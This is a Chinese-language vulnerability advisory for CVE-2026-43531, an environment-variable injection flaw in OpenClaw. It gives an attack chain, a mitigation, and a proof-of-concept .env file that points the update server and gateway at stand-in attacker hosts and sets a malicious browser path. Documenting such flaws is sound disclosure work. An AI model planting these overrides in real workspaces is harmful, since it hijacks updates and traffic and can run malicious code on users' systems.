IPBUF安全漏洞报告
English
CVE-2026-43531 CVSS 7.3 高危

CVE-2026-43531 OpenClaw环境变量注入漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-43531
漏洞类型
环境变量注入
CVSS评分
7.3 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

环境变量注入OpenClaw配置劫持

漏洞概述

OpenClaw在2026.4.9之前的版本中存在严重的环境变量注入漏洞。该漏洞源于应用错误地加载了工作空间中的.env文件,允许攻击者设置恶意的运行时控制变量。利用此漏洞,攻击者可以篡改更新源、网关URL、ClawHub解析地址及浏览器路径,从而完全破坏应用程序的行为,导致系统被控制。

技术细节

该漏洞的根源在于OpenClaw在加载工作空间配置文件时,对.env文件内容的处理缺乏严格的安全校验。在受影响的版本中,应用会自动读取并解析工作空间目录下的.env文件,将其中定义的键值对直接注入到进程的环境变量中。由于系统未设置白名单过滤机制,攻击者可以利用这一缺陷覆盖关键的运行时控制变量。具体利用场景下,攻击者通过构造恶意的.env文件,可以篡改系统更新源的下载地址,导致应用下载并安装恶意更新包;或者修改网关URL和ClawHub解析地址,将内部流量重定向至攻击者控制的服务器。此外,通过修改浏览器可执行路径,攻击者可能诱导系统执行恶意的浏览器程序。这种环境变量注入攻击结合了本地文件写入和配置劫持,严重威胁系统的完整性与可用性。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获得对工作空间目录的写入权限,能够创建或修改文件。
STEP 2
2. 植入恶意文件
攻击者在工作空间目录下创建或修改.env文件,注入恶意的环境变量配置。
STEP 3
3. 触发加载机制
用户或系统在该工作空间中启动OpenClaw应用程序。
STEP 4
4. 变量注入生效
OpenClaw在启动过程中读取.env文件并将恶意配置注入到运行时环境变量中。
STEP 5
5. 执行恶意行为
应用程序基于被篡改的配置运行,连接恶意更新源或执行非预期的程序。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Malicious .env file content for OpenClaw # This PoC demonstrates how to override critical runtime variables # Override the update server to a malicious source OPENCLAW_UPDATE_SERVER=http://attacker-controlled-domain.com/malicious-update # Override the gateway URL OPENCLAW_GATEWAY_URL=http://evil-gateway.com/api # Override the browser executable path OPENCLAW_BROWSER_PATH=/tmp/malicious_browser

影响范围

OpenClaw < 2026.4.9

防御指南

临时缓解措施
建议用户不要打开不受信任的工作空间目录,或在启动应用前手动检查并清理.env文件内容,确保未包含恶意的环境变量定义。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表